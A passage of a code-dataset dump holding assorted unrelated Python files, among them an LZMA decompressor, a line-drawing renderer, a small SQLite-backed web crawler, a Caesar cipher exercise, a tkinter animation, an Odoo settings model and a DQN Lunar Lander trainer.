arg.number('-d', help='Add a delta filter when compressing.') = None,\n ):\n filter = filter and self._LZMA_PARSER(filter)\n if (raw, alone, xz).count(True) > 1:\n raise ValueError('Only one container format can be enabled.')\n if level not in range(10):\n raise ValueError('Compression level must be a number between 0 and 9.')\n super().__init__(filter=filter, raw=raw, alone=alone, xz=xz, delta=delta,\n level=level | lzma_.PRESET_EXTREME)\n\n def _get_lz_mode_and_filters(self, reverse=False):\n mode = lzma_.FORMAT_AUTO\n filters = []\n if self.args.filter is not None:\n filters.append({'id': self.args.filter.value})\n if self.args.delta is not None:\n self.log_debug('adding delta filter')\n filters.append({\n 'id': lzma_.FILTER_DELTA,\n 'dist': self.args.delta\n })\n if self.args.alone:\n self.log_debug('setting alone format')\n mode = lzma_.FORMAT_ALONE\n filters.append({\n 'id': lzma_.FILTER_LZMA1,\n 'preset': self.args.level\n })\n elif self.args.raw:\n self.log_debug('setting raw format')\n mode = lzma_.FORMAT_RAW\n filters.append({\n 'id': lzma_.FILTER_LZMA2,\n 'preset': self.args.level\n })\n elif self.args.xz or reverse:\n if reverse and not self.log_debug('setting xz container format'):\n self.log_info('choosing default .xz container format for compression.')\n mode = lzma_.FORMAT_XZ\n filters.append({\n 'id': lzma_.FILTER_LZMA2,\n 'preset': self.args.level\n })\n return mode, filters\n\n def reverse(self, data):\n mode, filters = self._get_lz_mode_and_filters(True)\n lz = lzma_.LZMACompressor(mode, filters=filters)\n output = lz.compress(data)\n output += lz.flush()\n return output\n\n def process(self, data):\n keywords = {}\n mode, filters = self._get_lz_mode_and_filters(False)\n if self.args.raw:\n keywords['filters'] = filters\n lz = lzma_.LZMADecompressor(mode, **keywords)\n with MemoryFile() as output:\n pos, size = 0, 4096\n with MemoryFile(data) as stream:\n while not stream.eof and not stream.closed:\n pos = stream.tell()\n try:\n chunk = lz.decompress(stream.read(size))\n except (EOFError, lzma_.LZMAError) as error:\n if size > 1:\n lz = lzma_.LZMADecompressor(mode, **keywords)\n stream.seek(0)\n output.seek(0)\n if pos > 0:\n output.write(lz.decompress(stream.read(pos)))\n msg = error.args[0] if len(error.args) == 1 else error.__class__.__name__\n self.log_debug(F'decompression error, reverting to one byte at a time: {msg}')\n size = 1\n else:\n remaining = len(stream.getbuffer()) - pos\n raise RefineryPartialResult(F'compression failed with {remaining} bytes remaining', output.getvalue())\n else:\n output.write(chunk)\n return output.getvalue()\n","sub_path":"refinery/units/compression/lz.py","file_name":"lz.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"8301915","text":"from epics import PV\n\nchiller = PV('Chiller')\ntemperature_Average = PV('Temperature_Average')\npressure = PV('Pressure')\ntime_Count = PV('Time_Count')\npower_Usage_Display = PV('Power_Usage_Display')\n\nsevr = PV('Pressure.SEVR')\nstat = PV('Pressure.STAT')\n\nthermometer_1 = PV('Thermometer_1.VAL')\nthermometer_2 = PV('Thermometer_2.VAL')\nthermometer_3 = PV('Thermometer_3.VAL')\n\nthresholdPV = PV('Threshold.VAL')\ntime_countPv = PV('Time_Count.VAL')\npowerphPV = PV('PowerPH.VAL')\nvolumePV = PV('Volume.VAL')\nmolePV = PV('N.VAL')\n\n","sub_path":"back/epics_db/pv_objects.py","file_name":"pv_objects.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"524899060","text":"# OrderedDict : 자료의 순서를 기억하는 사전형 클래스\nimport collections\n\ndic = {}\ndic['서울'] = \"LG트윈스\"\ndic['대구'] = \"삼성라이온즈\"\ndic['광주'] = \"KIA타이거즈\"\nfor i, j in dic.items():\n print(i, j)\nprint('----------------------')\ndic1 = collections.OrderedDict()\ndic1['서울'] = \"LG트윈스\"\ndic1['대구'] = \"삼성라이온즈\"\ndic1['광주'] = \"KIA타이거즈\"\nfor i, j in dic1.items():\n print(i, j)\n\nprint(\"비교를 이용한 표준 사전과 OrderedDict의 차이점\")\ndic3 = {}\ndic3['서울'] = \"LG트윈스\"\ndic3['대구'] = \"삼성라이온즈\"\ndic3['광주'] = \"KIA타이거즈\"\n\ndic4 = {}\ndic4['서울'] = \"LG트윈스\"\ndic4['광주'] = \"KIA타이거즈\"\ndic4['대구'] = \"삼성라이온즈\"\nprint(dic3 == dic4)\n\ndic5 = collections.OrderedDict()\ndic5['서울'] = \"LG트윈스\"\ndic5['대구'] = \"삼성라이온즈\"\ndic5['광주'] = \"KIA타이거즈\"\n\ndic6 = collections.OrderedDict()\ndic6['서울'] = \"LG트윈스\"\ndic6['광주'] = \"KIA타이거즈\"\ndic6['대구'] = \"삼성라이온즈\"\nprint(dic5 == dic6)","sub_path":"collections/OderedDict.py","file_name":"OderedDict.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"548249287","text":"from pymongo.cursor import Cursor\n\nfrom lib.constants import ERROR\nfrom models.calculation import Calculation\nfrom models.dataset import Dataset\nfrom models.observation import Observation\nfrom tests.test_base import TestBase\n\n\nclass TestCalculation(TestBase):\n\n def setUp(self):\n TestBase.setUp(self)\n self.dataset = Dataset.save(self.test_dataset_ids['good_eats.csv'])\n Dataset.build_schema(self.dataset,\n self.test_data['good_eats.csv'].dtypes)\n self.formula = 'rating'\n self.name = 'test'\n\n def _save_observations_and_calculation(self, formula=None):\n if not formula:\n formula = self.formula\n Observation.save(self.test_data['good_eats.csv'], self.dataset)\n return Calculation.save(self.dataset, formula, self.name)\n\n def test_save(self):\n record = self._save_observations_and_calculation()\n self.assertTrue(isinstance(record, dict))\n self.assertTrue(Calculation.FORMULA in record.keys())\n\n def test_save_improper_formula(self):\n record = self._save_observations_and_calculation('NON_EXISTENT_COLUMN')\n self.assertTrue(isinstance(record, dict))\n self.assertTrue(ERROR in record.keys())\n self.assertTrue('Missing column' in record[ERROR].__str__())\n\n def test_save_unparsable_formula(self):\n record = self._save_observations_and_calculation('=NON_EXISTENT_COLUMN')\n self.assertTrue(isinstance(record, dict))\n self.assertTrue(ERROR in record.keys())\n self.assertTrue('Parse Failure' in record[ERROR].__str__())\n\n def test_save_improper_formula_no_data(self):\n record = Calculation.save(self.dataset, 'NON_EXISTENT_COLUMN',\n self.name)\n self.assertTrue(isinstance(record, dict))\n self.assertTrue(ERROR in record.keys())\n self.assertTrue('Missing column' in record[ERROR].__str__())\n\n def test_save_unparsable_formula_no_data(self):\n record = Calculation.save(self.dataset, '=NON_EXISTENT_COLUMN',\n self.name)\n self.assertTrue(isinstance(record, dict))\n self.assertTrue(ERROR in record.keys())\n self.assertTrue('Parse Failure' in record[ERROR].__str__())\n\n def test_find(self):\n record = self._save_observations_and_calculation()\n rows = Calculation.find(self.dataset)\n self.assertEqual(record, rows[0])\n","sub_path":"tests/models/test_calculation.py","file_name":"test_calculation.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"597881989","text":"\"\"\" This is almost the same program as the point program, but with some major differences.\n For example, this program will allow the user to create lines, unlike the past.\n The flow has been changed to make these changes useful, given that, without them,\n the program would only draw one point. \n\n\"\"\"\n\nfrom operations import Renderer\nimport line_operations\nimport math\nimport sys\n\nimage_width = 0\nimage_height = 0\nsub_image_width = 0\nsub_image_heigth = 0\npoint_coordinates = [0, 0]\nviewport_upper_left = [0, 0]\nrgb = [0, 0, 0]\nclear_color = [0, 0, 0]\npoint_color = [0, 0, 0]\nx_coords = [-0.5, 0.5]\ny_coords = [-0.5, 0.5]\n\n\ndef entry_point(failure=False):\n \"\"\"Entry point of the program. It's whatever the user sees for the \n first time and allows the values to be changed or not. \n Args:\n failure (bool, optional): If the program fails, act differently. Defaults to False.\n \"\"\"\n if failure:\n print('\\033[1;37;41m')\n failure_var = 'Something went wrong. Restarting program...'\n\n border = '-'\n for i in failure_var:\n border = border + '-'\n\n print('\\n\\n\\n\\n' + border + '\\n' +\n failure_var + '\\n' + border + '\\n\\n\\n\\n')\n print('\\033[0;37;40m')\n\n try:\n print('Hello, and welcome to the program.')\n printing_menu = 'In this program, you will be able to generate a single picture with a certain'\n border = ''\n for i in printing_menu:\n border = border + '-'\n print(border + '\\n' + printing_menu)\n print('background of your choosing. \\nDo you wish to start the program with the default values?(Y/N)\\n' + border)\n option = input('>>> ')\n if option == 'y' or option == 'Y':\n print('Default values have been set')\n set_values()\n else:\n choose_values()\n except Exception as e:\n print('An error has occurred: ' + str(e))\n entry_point(True)\n\n\ndef change_line():\n global x_coords\n global y_coords\n x_coords[0] = float(input('Please input your X1 value: '))\n while x_coords[0] < -1 or x_coords[0] > 1:\n x_coords[0] = float(\n input('Please input your X1 value that is between -1 and 1: '))\n x_coords[1] = float(input('Please input your X2 value: '))\n while x_coords[1] < -1 or x_coords[1] > 1:\n x_coords[1] = float(\n input('Please input an X2 value that is between -1 and 1: '))\n y_coords[0] = float(input('Please input your Y1 value: '))\n while y_coords[0] < -1 or y_coords[0] > 1:\n y_coords[0] = float(\n input('Please input an Y1 value that is between -1 and 1: '))\n y_coords[1] = float(input('Please input your Y2 value: '))\n while y_coords[1] < -1 or y_coords[1] > 1:\n y_coords[1] = float(\n input('Please input an X2 value that is between -1 and 1: '))\n\n\ndef choose_values():\n \"\"\"Let's the user use new values for the program\n \"\"\"\n print('Please input your values:')\n width = int(input('Input your width: '))\n height = int(input('Input your height: '))\n try:\n sub_width = int(\n input('Input your viewport sub-width (PRESS ENTER TO NOT CREATE A VIEWPORT): '))\n except:\n warning = '\\nA VIEWPORT WILL NOT BE CREATED. SKIPPING VIEWPORT VALUES\\n'\n border = ''\n for i in warning:\n border = border + '-'\n print('\\033[1;37;41m')\n print(border + warning + border)\n print('\\033[0;37;40m')\n sub_width = ''\n if sub_width == '':\n sub_width = width\n sub_height = height\n viewport_x = 0\n viewport_y = 0\n else:\n while sub_width > width:\n sub_width = int(\n input('Input your viewport sub-width (SUB-WIDTH CAN\\'T BE BIGGER THAN WIDTH (' + str(width) + ')): '))\n try:\n sub_height = int(input('Input your viewport sub-height: '))\n while sub_height > height:\n sub_height = int(input(\n 'Input your viewport sub-height (It can\\'t be higher than Height(' + str(height) + '): '))\n except:\n sub_height = sub_width\n try:\n viewport_x = int(\n input('Please input the X-Value of the bottom-left corner: '))\n while width - sub_width < viewport_x:\n viewport_x = int(\n input('Please input the X-Value of the bottom-left corner (Given your values, this value must be equal or less than ' + str(width - sub_width) + ' without being negative): '))\n except:\n viewport_x = 0\n try:\n viewport_y = int(\n input('Please input the Y-Value of the bottom-left corner: '))\n while height - sub_height < viewport_y:\n viewport_y = int(\n input('Please input the Y-Value of the bottom-left corner (Given your values, this value must be equal or less than ' + str(height - sub_height) + ' without being negative): '))\n except:\n viewport_y = 0\n\n x = float(input('Input your X-value (Must be between -1 and 1): '))\n while x < -1 or x > 1:\n x = float(input(\n 'The X-value must be between -1 and 1: '))\n y = float(input('Input your Y-value: '))\n while y < -1 or y > 1:\n y = float(input(\n 'The Y-value must be between -1 and 1: '))\n print('\\033[0;31;40m')\n red = int(input('Please input your RED value: '))\n while red < 0 or red > 255:\n red = int(input('Your RED value must be a number between 0 and 255: '))\n print('\\033[0;32;40m')\n green = int(input('Please input your GREEN value: '))\n while green < 0 or green > 255:\n green = int(\n input('Your GREEN value must be a number between 0 and 255: '))\n print('\\033[0;34;40m')\n blue = int(input('Please input your BLUE value: '))\n while blue < 0 or blue > 255:\n blue = int(input('Your BLUE value must be a number between 0 and 255: '))\n print('\\033[0;37;40m')\n\n red_point = int(input('Please input your RED value (For your point): '))\n while red_point < 0 or red_point > 255:\n red_point = int(\n input('Your RED value must be a number between 0 and 255 (For your point): '))\n print('\\033[0;32;40m')\n green_point = int(\n input('Please input your GREEN value (For your point): '))\n while green_point < 0 or green_point > 255:\n green_point = int(\n input('Your GREEN value must be a number between 0 and 255 (For your point): '))\n print('\\033[0;34;40m')\n blue_point = int(input('Please input your BLUE value (For your point): '))\n while blue_point < 0 or blue_point > 255:\n blue_point = int(\n input('Your BLUE value must be a number between 0 and 255 (For your point): '))\n print('\\033[0;37;40m')\n clear_color = [0, 0, 0]\n try:\n print('What do you wish your clear color to be?')\n clear_color[0] = int(input('RED: '))\n clear_color[1] = int(input('GREEN: '))\n clear_color[2] = int(input('BLUE: '))\n except:\n clear_color = [255, 255, 255]\n set_values(width, height, sub_width, sub_height, x, y,\n viewport_x, viewport_y, red, green, blue, red_point, green_point, blue_point, clear_color)\n\n\ndef main():\n \"\"\"Main Section of the program\n \"\"\"\n menu = 'Please select one of the following: '\n option1 = '1. Generate BMP Image'\n option2 = '2. Change Image Values'\n option3 = '3. Check Current Values'\n option25 = '4. Clear the buffer'\n option4 = '5. Draw a Line'\n option5 = '6. Exit Program'\n choice = 0\n runtime = True\n\n while runtime:\n print(menu + '\\n' + option1 + '\\n' +\n option2 + '\\n' + option3 + '\\n' + option25 + '\\n' + option4 + '\\n' + option5)\n while choice < 1 or choice > 6:\n try:\n choice = int(input('>>> '))\n except Exception as e:\n print('Invalid choice type.')\n main()\n if choice == 1:\n builders = {\n 'width': image_width,\n 'height': image_height,\n 'viewport_x': sub_image_width,\n 'viewport_y': sub_image_heigth,\n 'point': point_coordinates,\n 'viewport_coords': viewport_upper_left,\n 'rgb': rgb,\n 'clear': clear_color,\n 'point_color': point_color,\n 'x': x_coords,\n 'y': y_coords\n }\n image_creator = Renderer(builders)\n image_creator.gl_finish()\n image_creator.gl_clear()\n choice = 0\n\n elif choice == 2:\n choose_values()\n choice = 0\n elif choice == 3:\n show_values()\n choice = 0\n\n elif choice == 4:\n try:\n\n red = int(input('RED: '))\n while red < 0 or red > 255:\n red = int(input('RED must be between 0 and 255: '))\n\n green = int(input('GREEN: '))\n while green < 0 or green > 255:\n green = int(input('GREEN must be between 0 and 255: '))\n blue = int(input('BLUE: '))\n while blue < 0 or blue > 255:\n blue = int(input('BLUE must be between 0 and 255: '))\n if change_value_clear(red, green, blue):\n print('Values set succesfully')\n else:\n raise Exception('Values couldn\\'t be set')\n\n except:\n raise Exception(\n 'Couldn\\'t set values! Please generate an image before you try to change the clear color!')\n finally:\n choice = 0\n\n elif choice == 5:\n change_line()\n builders = {\n 'width': image_width,\n 'height': image_height,\n 'viewport_x': sub_image_width,\n 'viewport_y': sub_image_heigth,\n 'point': [-1, -1],\n 'viewport_coords': viewport_upper_left,\n 'rgb': rgb,\n 'clear': clear_color,\n 'point_color': point_color,\n }\n image_creator = Renderer(builders)\n line = line_operations.glLine(\n x_coords[0], x_coords[1], y_coords[0], y_coords[1])\n for point in line:\n print(point)\n image_creator.gl_vertex(point[0], point[1])\n image_creator.gl_finish()\n image_creator.gl_clear()\n del image_creator\n choice = 0\n\n # for point in line:\n # image_creator.gl_vertex()\n\n elif choice == 6:\n exit(0)\n else:\n print('You somehow ended here. Congrats.')\n entry_point(True)\n choice = 0\n\n\ndef change_value_clear(r, g, b):\n \"\"\"Allows the user to change the clear values\n Args:\n r (int): Value for red\n g (int): Value for green\n b (int): Value for blue\n Returns:\n bool: returns True if nothing bad has happened\n \"\"\"\n global clear_color\n clear_color = [r, g, b]\n return True\n\n\ndef set_values(width=200, height=200, sub_width=50, sub_height=50, x=-0.5, y=-0.5, viewport_x=5, viewport_y=10, red=0, green=0, blue=0, red_point=255, green_point=0, blue_point=0, clear_color_array=[255, 255, 255]):\n \"\"\"Allows the user to change the values used in the program \n Args:\n width (int, optional): Width of the entire frame. Defaults to 200.\n height (int, optional): Height of the entire frame. Defaults to 200.\n sub_width (int, optional): Width of the viewport. Defaults to 50.\n sub_height (int, optional): Height of the viewport. Defaults to 50.\n x (float, optional): X-Value of the point. Defaults to -0.5.\n y (float, optional): Y-VAlue of the point. Defaults to -0.5.\n viewport_x (int, optional): Bottom-Left corner position of the viewport. Defaults to 5.\n viewport_y (int, optional): Bottom-Left corner height position of the viewport. Defaults to 10.\n red (int, optional): RED value for the frame. Defaults to 0.\n green (int, optional): GREEN value for the frame. Defaults to 0.\n blue (int, optional): BLUE value for the frame. Defaults to 0.\n red_point (int, optional): RED value for the point. Defaults to 255.\n green_point (int, optional): GREEN value for the point. Defaults to 0.\n blue_point (int, optional): BLUE value for the point. Defaults to 0.\n clear_color_array (list, optional): Array with the clear value codes. Defaults to [255, 255, 255].\n \"\"\"\n try:\n global image_width\n global image_height\n global sub_image_width\n global sub_image_heigth\n global point_coordinates\n global viewport_upper_left\n global rgb\n global point_color\n global clear_color\n\n image_width = width\n image_height = height\n sub_image_width = sub_width\n sub_image_heigth = sub_height\n point_coordinates = [x, y]\n viewport_upper_left = [viewport_x, viewport_y]\n rgb = [red, green, blue]\n point_color = [red_point, green_point, blue_point]\n clear_color = clear_color_array\n show_values()\n except Exception as e:\n print('\\nAn error has occurred: ' + str(e))\n entry_point(True)\n\n\ndef show_values():\n \"\"\"Prints out the saved program values\n \"\"\"\n print('\\033[0;30;47m')\n print()\n print('----------------------------------------------------------------')\n print('Values have been set as:')\n print('Image size: ' + str(image_width) + 'x' + str(image_height))\n if sub_image_width != 0 and sub_image_heigth != 0:\n print('Viewport Size: ' + str(sub_image_width) +\n 'x' + str(sub_image_heigth))\n print('Viewport Upper Left Corner: (' +\n str(viewport_upper_left[0]) + ', ' + str(viewport_upper_left[1]) + ')')\n print('Point\\'s Coordinates: (' +\n str(point_coordinates[0]) + ', ' + str(point_coordinates[1]) + ')')\n print('Colors: RGB(\\033[0;31;47m' + str(rgb[0]) + ',\\033[0;32;47m ' +\n str(rgb[1]) + ',\\033[0;34;47m ' + str(rgb[2]) + '\\033[0;30;47m)')\n print('Point Colors: RGB(%d, %d, %d)' %\n (point_color[0], point_color[1], point_color[2]))\n print('Clear Colors: RGB(%d, %d, %d)' %\n (clear_color[0], clear_color[1], clear_color[2]))\n print('Line points: x(%f - %f), y(%f - %f)' %\n (x_coords[1], x_coords[0], y_coords[1], y_coords[0]))\n print('----------------------------------------------------------------')\n print()\n print('\\033[0;37;40m')\n\n main()\n\n\nentry_point()\n","sub_path":"Lab_2_Lines/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"31930042","text":"import requests\nfrom bs4 import BeautifulSoup\nimport sqlite3\nimport time\nfrom urllib.parse import urljoin\n\n\n\nclass spider:\n def __init__(self):\n self.con=sqlite3.connect('project.sqlite')\n self.cur=self.con.cursor()\n self.cur.execute('drop table if exists All_links ')\n self.cur.execute('drop table if exists Visited_links ')\n\n\n def page_data(self, url):\n self.url=url\n try:\n with requests.get(self.url) as self.url_request:\n self.url_data = self.url_request.text\n self.url_request.close()\n return self.url_data\n except:\n print(f'we were unable to visit {self.url}')\n\n def find_links(self,base_url, html_data):\n self.links = []\n soup = BeautifulSoup(html_data, 'html.parser')\n anchor_tags = soup.find_all('a')\n for a in anchor_tags:\n self.l2v = a.get('href')\n if self.l2v:\n self.l2v = self.complete_link(base_url, self.l2v)\n my_link = self.base_link(base_url, self.l2v)\n self.links.append(my_link)\n else:\n continue\n return self.links\n\n\n def complete_link(self,base, l2v):\n self.l2v=l2v\n if 'https' in self.l2v:\n return self.l2v\n else:\n return urljoin(base,self.l2v)\n\n\n def base_link(self,base_url, l2v):\n self.l2v=l2v\n if base_url not in self.l2v:\n return\n else:\n return self.l2v\n\n\n def insert_to_db(self,links):\n # self.con = sqlite3.self.connect('project.sqlite')\n # self.cur = self.con.cursor()\n # self.cur.execute('Drop table if exists All_links')\n # self.cur.execute('Drop table if exists Visited_Links')\n self.cur.execute('Create table IF NOT EXISTS Visited_Links(v_Links TEXT)')\n self.cur.execute('CREATE TABLE IF NOT EXISTS All_links(Links TEXT) ')\n for self.l2v in links:\n if self.l2v is None:\n pass\n else:\n self.cur.execute('SELECT Links from All_links where links=?', (self.l2v,))\n data = self.cur.fetchall()\n if not data:\n self.cur.execute('INSERT INTO All_links(Links) values(?)', (self.l2v,))\n else:\n print(f'{self.l2v} is already in database')\n self.con.commit()\n\n def sel(self):\n # self.con = sqlite3.connect('project.sqlite')\n # self.cur = self.con.cursor()\n self.cur.execute('select Links from All_links')\n return self.cur.fetchone()\n\n def new_link_to_visit(self):\n\n # self.con = sqlite3.self.connect('project.sqlite')\n # self.cur = self.con.cursor()\n # self.cur.execute('select Links from All_links')\n # self.l2v = self.cur.fetchone()\n self.l2v=self.sel()\n self.che=self.check_in_vlink(self.l2v[0])\n while self.che:\n self.l2v = self.sel()\n self.che = self.check_in_vlink(self.l2v[0])\n self.cur.execute('select v_Links from Visited_Links where v_Links=?', (self.l2v[0],))\n data = self.cur.fetchall()\n if not data:\n self.cur.execute('insert into Visited_Links(v_Links) values(?)', (self.l2v[0],))\n print(f'{self.l2v[0]} is visited now')\n self.cur.execute('delete from All_links where Links=?', (self.l2v[0],))\n self.con.commit()\n print('new_link_to_visit run')\n print(f'new self.l2v is {self.l2v}')\n return self.l2v[0]\n\n def check_in_vlink(self,elink):\n links=[]\n # self.con=sqlite3.connect('project.sqlite')\n # self.cur=self.con.cursor()\n self.cur.execute('select v_Links from Visited_Links')\n all_v_links=self.cur.fetchall()\n for link in all_v_links:\n links.append(link[0])\n if elink in links:\n self.cur.execute('Delete FROM All_Links Where Links=?',(elink,))\n self.con.commit()\n return True\n else:\n return False\n\n def if_page(self,url):\n self.url=url\n self.cur.execute('Create table IF NOT EXISTS All_pages(pages TEXT)')\n if self.url.endswith('htm') or self.url.endswith('html'):\n self.cur.execute('insert into All_pages(pages) Values(?)',(self.url,))\n else:\n pass\n\n\nurl = 'https://www.facebook.com/'\nbase_url = 'https://www.facebook.com/'\n\nmyspider=spider()\nwhile True:\n myspider.if_page(url)\n data=myspider.page_data(url)\n links=myspider.find_links(base_url,data)\n myspider.insert_to_db(links)\n url=myspider.new_link_to_visit()\n time.sleep(2)\n\n\nprint(links)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"98250530","text":"# -*- coding: utf-8 -*-\n\nimport os, sys, csv\n\ndef get_delete_users(user_tag_list: []) -> {}:\n '''\n 获取满足删除条件的作弊用户\n :param user_tag_list: 用户标签列表\n :return: 满足删除条件的作弊用户哈希表\n '''\n # 安沃平台用户\n adwo_user_map = {}\n # 其它平台用户\n other_user_map = {}\n\n for row in user_tag_list:\n user = row[0]\n tag = int(row[1])\n # 来源标签的处理\n if tag == 372 :\n adwo_user_map[user] = None\n if ((tag >= 373) and (tag <= 378)):\n other_user_map[user] = None\n\n # 只要单独出现在安沃平台的用户\n adwo_key_set = set(adwo_user_map.keys()) - set(other_user_map.keys())\n result_map = {k: adwo_user_map[k] for k in adwo_key_set}\n\n return adwo_user_map\n\ndef delete(user_tag_file: str):\n '''\n 删除用户标签文件里的用户标签\n :param user_tag_file: 原始用户标签文件\n :return:\n '''\n # 用户标签数据载入列表\n user_tag_list = []\n with open(user_tag_file, \"r\") as csv_input:\n reader = csv.reader(csv_input, delimiter=',', lineterminator='\\n')\n for row in reader:\n user_tag_list.append(row)\n\n adwo_user_map = get_delete_users(user_tag_list)\n\n\n\"\"\"\n使用: python delete_data.py user_tag_file\n\n将user_tag_file里找出要删除的用户标签,并将数据从dmp库里删除。\n\nuser_tag_file: 原始用户标签文件\nuser_id, tag_id\n\n\"\"\"\nif __name__ == '__main__':\n if (len(sys.argv) > 1):\n user_tag_file = sys.argv[1]\n delete(user_tag_file)\n else:\n print(\"usage: python delete_data.py user_tag_file\")","sub_path":"util/dmp/delete_data.py","file_name":"delete_data.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"175229198","text":"alphabet = 'abcdefghijklmnopqrstuvwxyz'\nkey = 3\nnewmessage = ''\n\nmessage = input('Please enter a message: ')\n\nfor character in message:\n\tif character in alphabet:\n\t\tposition = alphabet.find(character) # Find the position of the character.\n\t\tnewposition = (position + key) % 26 # Go back to position 0 once it gets to position 26\n\t\tnewcharacter = alphabet[newposition]\n\t\tnewmessage += newcharacter\n\telse:\n\t\tnewmessage += character\nprint(newmessage)\n\n\nfriend_score = input('Please enter you two name to score the love: ')\n\ntotal = 0\nfor character in friend_score:\n\tif character in alphabet:\n\t\tif character not in 'friend':\n\t\t\tscore = alphabet.find(character)\n\t\t\ttotal += score\n\t\telif character in 'friend':\n\t\t\ttotal += 20\n\telse:\n\t\ttotal += 0\nif total > 90:\n\tprint(total, 'Best friend!')\nelse:\n\tprint(total, 'You are still a good friend for each other.')\t\t\t","sub_path":"secret_messages.py","file_name":"secret_messages.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"642113948","text":"from tkinter import *\r\n\r\ndef pohni_vozik():\r\n canvas.move(auto,20,0)\r\n canvas.move(koleso1,20,0)\r\n canvas.move(koleso2,20,0)\r\n if canvas.coords(auto)[0] > 500:\r\n canvas.moveto(auto,-100,100,)\r\n canvas.moveto(koleso1,-90,140)\r\n canvas.moveto(koleso2,-30,140)\r\n\r\nroot = Tk()\r\nroot.title(\"Vozik, hyb sa!\")\r\n\r\ncanvas = Canvas(root, width=\"500\", height=\"500\")\r\ncanvas.pack()\r\n\r\nbutton = Button(root,text=\"Hyb sa!\",command=pohni_vozik)\r\ncanvas.create_window(225,450,window=button)\r\n\r\nauto = canvas.create_rectangle(50,100,150,150,fill=\"brown\")\r\nkoleso1 = canvas.create_oval(60,140,80,160,fill=\"black\")\r\nkoleso2 = canvas.create_oval(120,140,140,160,fill=\"black\")\r\n\r\nroot.mainloop()","sub_path":"inf_2022/graficke_ulohy/10112022/uloha1.py","file_name":"uloha1.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"577693105","text":"# Part of odoo See LICENSE file for full copyright and licensing details.\n\nfrom odoo import api, fields, models\n\n\nclass ResConfigSettings(models.TransientModel):\n _inherit = 'res.config.settings'\n\n use_project = fields.Boolean(\"Use Projects\")\n\n @api.model\n def get_values(self):\n res = super(ResConfigSettings, self).get_values()\n get_param = self.env['ir.config_parameter'].sudo().get_param\n res.update(\n use_project=get_param('helpdesk_project_ext.use_project'),\n )\n return res\n\n def set_values(self):\n super(ResConfigSettings, self).set_values()\n set_param = self.env['ir.config_parameter'].sudo().set_param\n set_param('helpdesk_project_ext.use_project', self.use_project)\n","sub_path":"addons13/helpdesk_project_ext/models/res_config_settings.py","file_name":"res_config_settings.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"311329767","text":"import gym\nimport torch\nimport numpy as np\nfrom collections import deque\nfrom dqn_agent import Agent\n\nepisode = input('episode: ')\nfilename = 'dqn' + episode\nModelFileName = filename + '.pth'\noutfile = open(filename + '.txt', 'w') \nNepisode = int(episode)\n\nenv = gym.make('LunarLander-v2')\nenv.seed(0)\nagent = Agent(state_size=8, action_size=4, seed=0)\n\ndef dqn(n_episodes=Nepisode, max_t=1000, eps_start=1.0, eps_end=0.01, eps_decay=0.995):\n scores = [] # list containing scores from each episode\n scores_window = deque(maxlen=100) # last 100 scores\n eps = eps_start # initialize epsilon\n for i_episode in range(1, n_episodes+1):\n state = env.reset()\n score = 0\n for t in range(max_t):\n action = agent.act(state, eps)\n next_state, reward, done, _ = env.step(action)\n agent.step(state, action, reward, next_state, done)\n state = next_state\n score += reward\n if done:\n break \n scores_window.append(score) # save most recent score\n scores.append(score) # save most recent score\n eps = max(eps_end, eps_decay*eps) # decrease epsilon\n sc = np.mean(scores_window)\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, sc), end=\"\")\n print(\"%d %.2f\" %(i_episode, sc), file = outfile)\n\n if i_episode % 100 == 0:\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_window)))\n\n \n torch.save(agent.qnetwork_local.state_dict(), ModelFileName)\n print('\\nTraining %d epsisodes in file %s' %(Nepisode, ModelFileName))\n\n return scores\n\n\nscores = dqn()\nenv.close()","sub_path":"DQN/DQNtrain.py","file_name":"DQNtrain.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"311534037","text":"import os\nimport numpy as np\n\n\nCLASS_FILE = './data/hf_round1_arrythmia.txt'\n\n\ndef hash(fn):\n return int(fn.split('.')[0])\n\n\ndef get_classes():\n with open(CLASS_FILE, 'r') as fr:\n d = dict()\n for i, k in enumerate(fr.read().strip().split()):\n d[k] = i\n return d\n\n\ndef read_data(fn):\n with open(fn, 'r') as fr:\n fr.readline()\n X = np.loadtxt(fr, dtype=int, delimiter=' ')\n return X\n\n\ndef read_labels(fn):\n dtype = [\n ('id', 'i4', (1, )),\n ('age', 'S4', (1, )),\n ('sex', 'S10', (1, )),\n ('labels', 'i4', (55, ))\n ]\n classes = get_classes()\n with open(fn, 'r') as fr:\n lines = fr.readlines()\n y = np.empty(len(lines), dtype=dtype)\n y['labels'] = 0\n for i, l in enumerate(lines):\n l = l.strip().split('\\t')\n y['id'][i] = hash(l[0])\n y['age'][i] = l[1]\n y['sex'][i] = l[2]\n for d in l[3:]:\n y['labels'][i][classes[d]] = 1\n return y\n\n\ndef read_all_data(data_dir):\n fns = [fn for fn in os.listdir(data_dir) if fn[-3:]=='txt']\n X = np.empty((len(fns), 5000, 8), dtype=int)\n for i, fn in enumerate(fns):\n 